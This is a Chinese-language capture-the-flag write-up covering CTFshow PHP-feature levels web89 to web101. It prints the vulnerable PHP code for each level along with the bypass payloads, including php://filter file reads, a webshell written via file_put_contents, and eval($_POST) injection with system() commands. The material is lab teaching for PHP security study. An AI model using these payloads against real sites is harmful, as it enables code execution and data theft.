ctfshow php特性(web89-web101)

这篇具有很好参考价值的文章主要介绍了ctfshow php特性(web89-web101)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录

web89

web90

web91

web92

web93

web94

web95

web96

web97

web98

web99

web100 

web101


php特性(php基础知识)

web89

<?php
include("flag.php");
highlight_file(_FILE_);

if(isset($_GET['num'])){
	$num=$_GET['num'];
	if(preg_match("/[0-9]/",$num)){
		die("no no no"); #结束脚本呢执行输出指定信息
		}
	if(intval($num)){#把参数转换整数类型
		echo $flag;
		}
}

preg_match 函数正则匹配0-9 如果匹配到就失败 intval将参数值转换为整数类型 这就犯冲突了

但是preg_match函数只能处理字符串 当传入的是数组的时候就返回false 从而绕过die函数 这时intval接收到数组 会将数组的每一个值转换为整型从而条件语句为真 输出flag

对于我来说有特性(php基础知识)

1preg_match只能处理字符串

2 url传值的时候 服务器接收值是字符串

2变量可以是数组 :$num是变量 但是传值的时候可以是num[]=???

3当文件B包含一个文件A时 如果在A中定义了一个变量的值 在B中可以获取到该变量的值

ctfshow php特性(web89-web101),CTFSHOW,PHP特性,php,php特性,网络安全,web渗透,渗透测试

web90

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){ #第二个参数默认是把变量的值当做十进制 为0时 根据前缀进行判断
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

=== 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较值是否相等

代表完全相等 算是python中的同一性 is

如果传入值为4476 就会输出nonono 如果输出flag变量的值必须是4476 这就冲突了 如何解决呢

if(intval($num,0)===4476){ #第二个参数默认是把变量的值当做十进制 为0时 根据前缀进行判断

第一种方法:十进制是没有前缀的 但是+4476后(到后端就是字符串+4476 所以不等于字符串4476) 就绕过了死亡函数die 但是intval因为有0的参数 它会根据前缀将+4476识别为十进制的4476 所以4476===4476

第二种方法:0x117c是十六进制的4476 传入0x117c字符串 也会绕过死亡函数 并且intval函数会将0x117c当作十六进制 转换成十进制整数

注意 intval默认情况下是转换成十进制整形

对于我来说有特性(php基础知识)

1传参到后端默认是字符串

2intval函数 如果第二个参数为0 就会根据变量的前缀 转换成对应的十进制整形

3===表示完全相等 值和类型必须都相等

ctfshow php特性(web89-web101),CTFSHOW,PHP特性,php,php特性,网络安全,web渗透,渗透测试

web91

<?php
show_source(_FILE_);#将页面源代码输出到页面中
include("flag.php");
$a=$_GET['cmd'];
#正则匹配变量 以php开头并且以php结尾的 也就是精确匹配 
#字符串中必须只有php m修饰符代表多行匹配 也就是说能匹配到php\n或者php\nphp
#如果没有m修饰符 那么不能匹配到php\n了 因为多行匹配的原因
#正则i 为忽略大小写
if(preg_math('/^php$/im',$a)){
	if(preg_math('/^php$/i',$a)){
		echo 'hacker';
	}
	else{
		echo $flag;
	}
else{
	echo "nonono";
}
}

首先传入的字符串必须是php开头结尾的字符串 才能执行语句块 但是语句块内如果字符串为php那就会输出hacker 这就犯冲突了 

这就利用到了m修饰符的作用  多行匹配 以字符串中\n为分隔符 分隔出多行 如果其中一行匹配到php开头或者结尾 就算匹配成功 例如字符"aaa\nphp"第二行匹配到了php字符串 返回true 执行语句块 在语句块中正则匹配 单行匹配 这样就不会将\n视为分隔符了 而是将"aaa\nphp"当作一行进行匹配 从而匹配不上 这样就能输出flag了

对于我来说有特性(php基础知识)

1正则匹配m修饰符为多行匹配 视\n为分隔符 分割多行逐行匹配

2 传参是必须使用%0a作为换行符\n不行 原因:在 HTTP 协议中,换行符(特殊字符)需要使用 %0a(即 \n 的 URL 编码形式)来表示,而不是使用 \n \n在url中属于非法字符 从而导致无法解析错误等一系列问题

3 空格如果进行url编码可能会变成+并不是%20  其中使用urlencode空格会变成+ 注意即可

4 和这道题没关为什么传注释符的时候最好使用--+ 因为--后要加上空格 +或者%20就是空格url编码后的 如果不使用+ --后的空格 可能服务器接收不到 注意就行

ctfshow php特性(web89-web101),CTFSHOW,PHP特性,php,php特性,网络安全,web渗透,渗透测试

web92

<?php
include("flag.php");
highlight_file(_FILE_);
if(isset($_GET['num'])){
	$num=$_GET['num'];
	if($num==4476){
		die("no no no");
	}
	if(intval($num,0)==4476){
		echo $flag;
	}
	else{
		echo intval($num,0);
	}
}

php特性:比较运算符 ==在进行比较的时候,会先将字符串类型转化成相同 也就是说如果传值为4476或者+4476 会将字符串转换成$num==4476中的4476同一类型也就是整形 

因为intval中第二个参数为0 所以传值为十六进制的4476即可

ctfshow php特性(web89-web101),CTFSHOW,PHP特性,php,php特性,网络安全,web渗透,渗透测试

web93

<?php
include("flag.php");
highlight_file(_FILE_);
if(isset($_GET['num'])){
	$num=$_GET['num'];
	if($num==4476){
		die("no no no");
	}
	if(preg_match("/a-z/i",$num)){
		die("no no no");
	}
	if(intval($num,0)==4476){
		echo $flag;
	}
	else{
		echo intval($num,0);
	}
}

上一题的进阶版 就是不能加上一个条件不能字符串中不能存在a-z 那么就不能使用0x117c 十六进制的4476了 传参使用八进制的4476即可 因为八进制前缀为0 当然也可以使用小数进行绕过4476.1

ctfshow php特性(web89-web101),CTFSHOW,PHP特性,php,php特性,网络安全,web渗透,渗透测试

web94

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){//在变量中如果匹配到字符0返回下标位置
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

使用了===进行完全比较 类型与值必须完全相等 并且是和“4476”字符串进行比较

因为有!strpos不能使用八进制的4476 因为开头是0 返回的下标值也为0 取反为1 就会执行语句块

那就使用小数就能 4476.0 小数点后必须有0 因为strpos函数如果匹配不到0返回false 取反为true

php特性

strpos函数匹配字符串中子字符串 如果匹配到返回子字符串第一个位置的下标

ctfshow php特性(web89-web101),CTFSHOW,PHP特性,php,php特性,网络安全,web渗透,渗透测试

web95

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){ # 不能使用小数点 因为==会转换成相同类型 4476.0转换为4476进行比较
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){ #不能有字母
        die("no no no!!");
    }
    if(!strpos($num, "0")){ #必须要有0
        die("no no no!!!");
    }
    if(intval($num,0)===4476){#完全相等类型和值
        echo $flag;
    }
}

有点难搞 不能使用小数点(第一个比较为==会转换类型) 十六进制 八进制

那就逐个尝试

本来想着使用?num=-4476.0 转换类型也没事先通过第一个死亡函数再说 但是发现第二个死亡函数过滤了小数点 于是使用-04476

那就是用?num=-04476 结果无输出 虽然绕过了所有的死亡函数 但是卡在了输出flag的条件上

在本地环境试 如何让intval($num,0)===4476 $num值为多少前提在-04476基础上 因为能绕过前三个死亡函数

还好在本地测试了 -04476还真不行 我以为intval在转换的时候只识别第一个字符负号- 结果识别的是0 就变成-4476是一个八进制 转换十进制 为-2366 那就改为-010547 既然这样那就没必要因为绕过第一个死亡函数而使用-号了 直接使用+号即可+010547 传参+变为空格也是可以的

ctfshow php特性(web89-web101),CTFSHOW,PHP特性,php,php特性,网络安全,web渗透,渗透测试

php特性 ==和===

== 比较时会转换类型 

=== 必须完全相等 类型以及值

ctfshow php特性(web89-web101),CTFSHOW,PHP特性,php,php特性,网络安全,web渗透,渗透测试

web96

<?php
highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }
}

有两种方法 也算是两个知识点

第一种./file的方式 也就是./flag.php

?u=./flag.php

第二种直接使用php数据流的方式读取文件内容

?u=php://filter/convert.base64-encode/resource=flag.php

ctfshow php特性(web89-web101),CTFSHOW,PHP特性,php,php特性,网络安全,web渗透,渗透测试

注意highlight_file函数必须完全匹配才能显示文件内容 举例文件名为flag.php 如过高亮flag.PHP是不可以的

web97

<?php
include("flag.php");
highlight_file(__FILE__)
if(isset($_POST['a']) and isset($_POST['b'])){
if($_POST['a']!=$_POST['b']){
	if(md5($_POST['a']===md5($_POST['b'])))
		echo $flag;
	else
		print 'wrong';
}
}

a和b必须不同 但是md5值必须相同 想让值不同md5值相同 跟不就不可能

这个时候就用上md5只能处理字符串的知识点了 如果a和b是数组md5处理不了就会返回false

从而false===false

又学到一个知识点在php中 数组就是一个对象

ctfshow php特性(web89-web101),CTFSHOW,PHP特性,php,php特性,网络安全,web渗透,渗透测试

这里使用bp不知道为啥 又来一个小知识点使用bp的时候记得分清GET和POST哦 

web98

<?php
include("flag.php");
$_GET?$_GET=&$_POST:'flag';#这个引用就是地址 类似于c语言中的地址 可以理解为改变了GET的地址 
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?>

首先就是三元运算 类似于sql中的if函数 先判断GET全局变量是否存在值如果存在将POST引用复制给GET 否则返回一个flag字符串常量

中间cookie和server对我们来说没用 最后的条件是让get中的http_flag=flag 就能输出$flag了 但是因为第一个三目运算的原因 如果get存在值 就会将post引用传给get 从而get又变空了 这个时候只要保障POST中存在HTTP_FLAG=flag且GET存在任意一个变量即可

知识点$_GET是全局变量 如果进行传参 这个全局变量就包含一个关联数组 键就是参数名 值为参数值 

ctfshow php特性(web89-web101),CTFSHOW,PHP特性,php,php特性,网络安全,web渗透,渗透测试

web99

<?php
highlight_file(__FILE__);
$allow=array();#创建一个数组
for ($i=36;$i<0x36d;$i++){#877 从36累加到0x
	array_push($allow,rand(1,$i));#生成一个1-$i的随机整数包含边界放置到数组最后方
}
if(isset($_GET['n'])&&in_array($_GET['n'],$allow)){
	file_put_contents($_GET['n'],$_POST['content']);
}

知识点

in_array函数判断指定字符串是否存在数组中 弱类型比较 1.php和1比较 是比较成功的

in_array()函数有漏洞 没有设置第三个参数 就可以形成自动转换eg:n=1.php自动转换为整数1

file_put_contents函数将数据写入文件中 如果文件不存在会创建文件

&&比and优先级高&哪怕第一个为假也会计算第二个 

php中的数组 可以是只有值的索引就是0开始的 也可以是键值对形式

直接写一句话木马即可

ctfshow php特性(web89-web101),CTFSHOW,PHP特性,php,php特性,网络安全,web渗透,渗透测试

web100 

<?php
highlight_file(__FILE__);
include("flag.php");
//flag in class ctfshow;
$ctfshow= new ctfshow(); $ctfshow是一个类对象 既然能实例化肯定是包含的ctfshow.php里面定义了一个类
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
# 判断变量是否为数字或者数字字符串
# 等于号优先级高 所以只用看v1为数字即可
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
	if(!preg_match("/\;/",$v2)){
		if(preg_match("/\;/",$v3)){
			eval("$v2('ctfshow')$v3");
		}
	}
}

关键在这一句 $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);

因为=优先级高 所以他会先对$v0进行赋值 这样就达到了只要是v1为数字即可

if条件中要保证v2没有分号v3要有分号

第一种方法

eval("$v2('ctfshow')$v3"); 这是输出flag的函数 如果能输出呢

var_dump('ctfshow');

echo('ctfshow');

print_r('ctfshow');

都不行

只输出 ctfshow这个字符串 这是为什么呢 因为我们要输出的是$ctfshow变量 但是代码中是ctfshow字符串 从而他只能输出 字符串了 

解决方法就是注释掉

eval("var_dump($ctfshow)/*('ctfshow')*/;");

ctfshow php特性(web89-web101),CTFSHOW,PHP特性,php,php特性,网络安全,web渗透,渗透测试

第二种方法

因为有eval直接尝试一下phpinfo()是否可以

?v1=1&v2=phpinfo()?>&v3=; 可以 直接截断代码 无报错但是phpinfo后的("ctfshow")以及$v3的值会当成字符串输出出来

?v1=1&v2=phpinfo()&v3=; 可以 直接执行phpinfo()  有点小报错不影响

?v1=1&v2=phpinfo();/*&v3=*/; 不可以 v2不能存在分号

?v1=1&v2=phpinfo();echo&v3=;不可以 和上面同理

成功执行后确定为漏洞点 使用一句话木马替换phpinfo

?v1=1&v2=eval($_POST['a'])?>&v3=; v2末尾使用的是?>才可以

虽然最终语句变成了eval("eval(system('ls');)?>  照样可以执行ls

ctfshow php特性(web89-web101),CTFSHOW,PHP特性,php,php特性,网络安全,web渗透,渗透测试

使用shell方式查看文件内容

a=system('tac ctfshow.php');

使用php中高亮显示文件函数 实现实现文件内容

a=highlight_file('./ctfshow.php');  切记要用引号哦  不使用./也可以
都可以查看ctfshow.php中的flag

ctfshow php特性(web89-web101),CTFSHOW,PHP特性,php,php特性,网络安全,web渗透,渗透测试

知标题一识点

1 如果包含了一个文件 那在本文件下可以使用包含文件的变量 以及类 等包含文件内容

2 echo只能以字符串的形式输出 不能输出对象 (但是在类中定义魔术方方法__toString() echo也能输出 输出的是魔术方法返回值)var_dump和print_r可以详细输出对象

3eval函数内的执行语句 有没有分号都能执行成功

4 想要执行shell中的 必须使用system函数 光用eval只是执行代码

web101

<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }   
}
?>

相较于上一题来说v2过滤了很多字符 还有一种方法能输出就是php反射函数

注意 php反射类简单理解就是 获取了类的信息 以var_dump方式获取后成为一个字符串 使用echo输出出来

?v1=1&v2=echo new Reflectionclass&v3=;

eval("echo new Reflectionclass('ctfshow');");

ctfshow php特性(web89-web101),CTFSHOW,PHP特性,php,php特性,网络安全,web渗透,渗透测试文章来源地址https://www.toymoban.com/news/detail-807953.html

到了这里,关于ctfshow php特性(web89-web101)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【Web】CTFSHOW PHP特性刷题记录(全)

    知其然知其所以然,尽量把每种特性都详细讲明白。 目录 web89 web90 web91 web92 web93 web94 web95 web96 web97 web98 web99 web100 web101 web102 web103 web104 web105 web106 web107 web108 web109 web110 web111 web112 web113 web114 web115 web123 web125 web126 web127 web128 web129 web130 web131 web132 web133 web134 web135 web136 web137 web138

    2024年01月17日
    浏览(27)
  • CTFSHOW php 特性

    目录 web89 数组绕过正则 PHP preg_match() 函数 | 菜鸟教程  web90  ===的绕过 首先 我们输入一个 4476a 就可以绕过 第一个nonono 也可以使用浮点型 也可以使用进制 web91   了解正则 web92 == 绕过 进制  浮点型 科学计数法 web93 过滤字母 浮点型  进制  web94 strpos(字符串,字符) 八进制

    2024年02月14日
    浏览(30)
  • 【Web】CTFSHOW PHP文件包含刷题记录(全)

    温故知新。 目录 web78 web79 web80 web81 web82 web83 web84 web85 web86 web87 web88 伪协议base64编码直接读出文件内容就行 一眼data伪协议包含php脚本 data也被禁了,日志包含即可 多禁了一个\\\":\\\",还是可以日志包含 连\\\".\\\"都被禁用了,/tmp/sess_xxx是不带点的,尝试多线程条件竞争包含临时目录下

    2024年02月02日
    浏览(33)
  • 【Web】CTFSHOW PHP命令执行刷题记录(全)

    目录 web29 web30 web31 web32 web33 web34 web35 web36 web37-39 web40 web41 (y4✌脚本) web42 -44 web45 web46 -49 web50 web51 web52 web53 web54 web55-56 web57 web58 web59 web60 web61 web62 web63-65 web66-67 web68-70 web71 web72 web73-74 web75-76 web77 期末复习不了一点,不如做点旧题醒一醒手感。每一题都尽量用不同payload,如果

    2024年01月23日
    浏览(31)
  • CTFSHOW php命令执行

    目录 web29  过滤flag web30   过滤system php web31 过滤    cat|sort|shell|. 这里有一个新姿势 可以学习一下 web32 过滤 ;`` \\\'\\\' . web33 web34 web35 web36 web37 data伪协议 web38 短开表达式 web39 web40   __FILE__命令的扩展 web41 web42 重定向 web43 web44 web45 web46 web47 web48 web49 web50 web51  web52 web53 web54 

    2024年02月13日
    浏览(27)
  • ctfshow 第三届愚人杯 easy_php

    这题学的了一些小tips,这里讲解一下。 这里详细讲解一下使用c绕过wakup。 O标识符代表对象类型,而C标识符代表类名类型。如果将O替换为C,则在反序列化时会将其解释为一个新的类名字符串,从而创建一个新的类而不是对象。因为这个新的类没有被序列化过,所以它没有任

    2023年04月26日
    浏览(51)
  • Ctfshow web入门 sqli-labs特性篇 web517-web568 详细题解 全

    这里插一句。 limit 100,1 是从第100条数据开始,读取1条数据。 limit 6 是读取前6条数据。 报错注入 绕过字符串返回长度限制。 盲注 布尔和时间都可以的。 闭合换成了 \\\" 。其他和上题一样。 ctfshow–flagpa–flag3a3– 测一下回显位 布尔盲注还是能用。不过这次我们换个方法。 它

    2024年02月15日
    浏览(35)
  • [CTF/网络安全] 攻防世界 Web_php_include 解题详析(php伪协议、data伪协议、file伪协议)

    这段代码首先通过 show_source(__FILE__) 显示当前文件的源代码,然后通过 $_GET[\\\'hello\\\'] 显示 URL 参数中名为 hello 的值。 接下来,代码使用 $_GET[\\\'page\\\'] 获取 URL 参数中名为 “page” 的值,并进行字符串替换,将 php:// 替换为空字符串 这是为了防止通过 URL 参数加载本地文件或其他可

    2024年02月08日
    浏览(34)
  • CTFshow web入门---web56

    题目: 题目分析: 查看本题,发现本题为命令执行类题目,但是有一个很致命的点,那么就是他过滤了所有的字母和数字,以及一系列的符号。因此本题最值得推敲的点就是如何实现 无字母数字的命令执行 通过拜读P神的一篇文章,其中《无字母数字webshell之提高篇》讲到了

    2023年04月22日
    浏览(28)
  • CTFSHOW菜狗杯 web

    简单的解释下这个嵌套 加入cookie中传入 CTFshow-QQ群:=a 那么就会出现 $_POST[\\\'a\\\'] ,假如post传入的值为 a=b ,那么就会得到 $_GET[\\\'b\\\'] ,接着假如get传入 b=c 就会得到 $_REQUEST[\\\'c\\\'] 。 而 $_REQUEST 就get、post都可以接收啦。 加入再get传入 c=123 那么前面这一部分( $_REQUEST[$_GET[$_POST[$_COOKIE[

    2023年04月08日
    浏览(30)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包